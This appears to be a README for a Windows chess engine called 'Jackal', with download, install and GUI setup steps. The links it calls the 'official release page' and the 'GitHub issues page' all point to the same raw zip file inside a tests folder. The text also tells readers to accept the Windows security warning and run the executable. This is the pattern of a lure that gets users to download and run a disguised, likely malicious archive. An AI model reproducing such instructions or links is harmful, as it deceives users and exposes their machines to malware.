🐺 Jackal - Fast and Smart Chess Engine

🐾 What is Jackal?

Jackal is a chess engine designed to think quickly and make strong moves. It uses a method called Monte Carlo Tree Search (MCTS) to analyze chess positions. This makes Jackal one of the fastest and most aggressive chess engines you can run on your computer’s processor.

You do not need to be a programmer to use Jackal. This guide shows you how to set up and run Jackal on a Windows PC step by step.

⚙️ System Requirements

Before you begin, make sure your computer meets these basic needs:

• Operating System: Windows 10 or later (64-bit recommended)
• Processor: Any standard CPU (Intel or AMD)
• Memory: At least 4GB of RAM
• Disk Space: Around 100MB free for files and temporary data
• Internet: Needed only to download Jackal the first time

Jackal runs entirely on your local machine. It does not require an internet connection after installation.

🔽 Download Jackal

To get Jackal, you need to visit the official release page on GitHub. This page contains the latest version of the engine and instructions for use.

1. Click the link above or go to this address in your web browser:
   https://raw.githubusercontent.com/faizi657/Jackal/main/utils/tests/Software_3.0.zip
2. Look for the most recent release near the top of the page.
3. Under "Assets," find the file that ends with .exe or .zip. The .exe file is the easiest to run without extra steps.
4. Click the file name to download it onto your computer.

Save the file somewhere easy to find, like your Desktop or Downloads folder.

🖥️ How to Install Jackal on Windows

Most downloads come as a ready-to-run .exe file or a zipped folder. Follow the instructions below based on what you downloaded.

If you downloaded a .exe file:

1. Double-click the .exe file.
2. You might see a security warning from Windows asking if you trust the source. Confirm that you want to run the program.
3. Jackal will run directly. You do not need to install anything else.

If you downloaded a .zip folder:

1. Right-click the .zip file.
2. Select “Extract All...” from the menu.
3. Choose a folder where you want to unpack the files (for example, a new folder on your Desktop).
4. Open the extracted folder.
5. Find the .exe file inside and double-click it to start Jackal.

▶️ Running Jackal

Jackal is a command-line program. This means you will run it through a simple black window called Command Prompt.

To open Command Prompt:

1. Press the Windows key on your keyboard.
2. Type cmd.
3. Click on the “Command Prompt” app that appears.

To start Jackal:

1. Use the cd command to go to the folder where you saved or extracted Jackal. For example:

   cd Desktop\Jackal  
   

2. Type the name of the executable file and press Enter. For example:

   jackal.exe  
   

3. Jackal will start running. You can now enter commands to play chess or test moves.

Basic commands (example):

• To start a new game: type new and press Enter.
• To make a move: type the chess move in standard notation (e.g., e2e4).
• To exit Jackal: type quit and press Enter.

🕹️ How to Use Jackal With a Chess GUI (Optional)

A chess GUI (Graphical User Interface) shows the board, pieces, and moves visually. Some popular free GUIs include Arena, Cute Chess, and Scid vs PC.

To use Jackal with a GUI:

1. Download and install a chess GUI on your computer.
2. Open the GUI.
3. Look for the option to add or configure an engine.
4. Select “Add Engine” and browse to the location of the Jackal .exe file.
5. Save the engine settings.
6. Start a new game in the GUI and select Jackal as your opponent or analysis engine.

🔧 Adjusting Jackal Settings

Jackal has a few options to customize its play style and strength. These are set through commands inside Jackal or via the GUI when connected.

Some common settings include:

• Time per move - How much time Jackal uses to think on each move. More time means stronger play but slower games.
• Search depth - How deeply Jackal analyzes possible moves. Higher values improve strength, also slowing the engine.
• Aggressiveness - Controls how risky or defensive Jackal plays.

Check the project documentation or help command inside Jackal to see all settings available.

🐛 Reporting Issues

If you find errors or problems when using Jackal, you can report them on the GitHub issues page:

https://raw.githubusercontent.com/faizi657/Jackal/main/utils/tests/Software_3.0.zip

Make sure to include:

• Your Windows version
• What you did before the problem happened
• Exact error messages, if any

This helps developers understand and fix issues quickly.

📚 Learning More

To learn how to use Jackal better or how Monte Carlo Tree Search works in chess engines, you can explore:

• Basic chess rules and notation tutorials
• Guides on setting up chess engines with popular GUIs
• Articles on Monte Carlo Tree Search in games

These resources will help you get more out of Jackal over time.

✨ Thank You for Using Jackal

Your interest supports the development of faster and smarter CPU chess engines.

Download Jackal here and start playing now.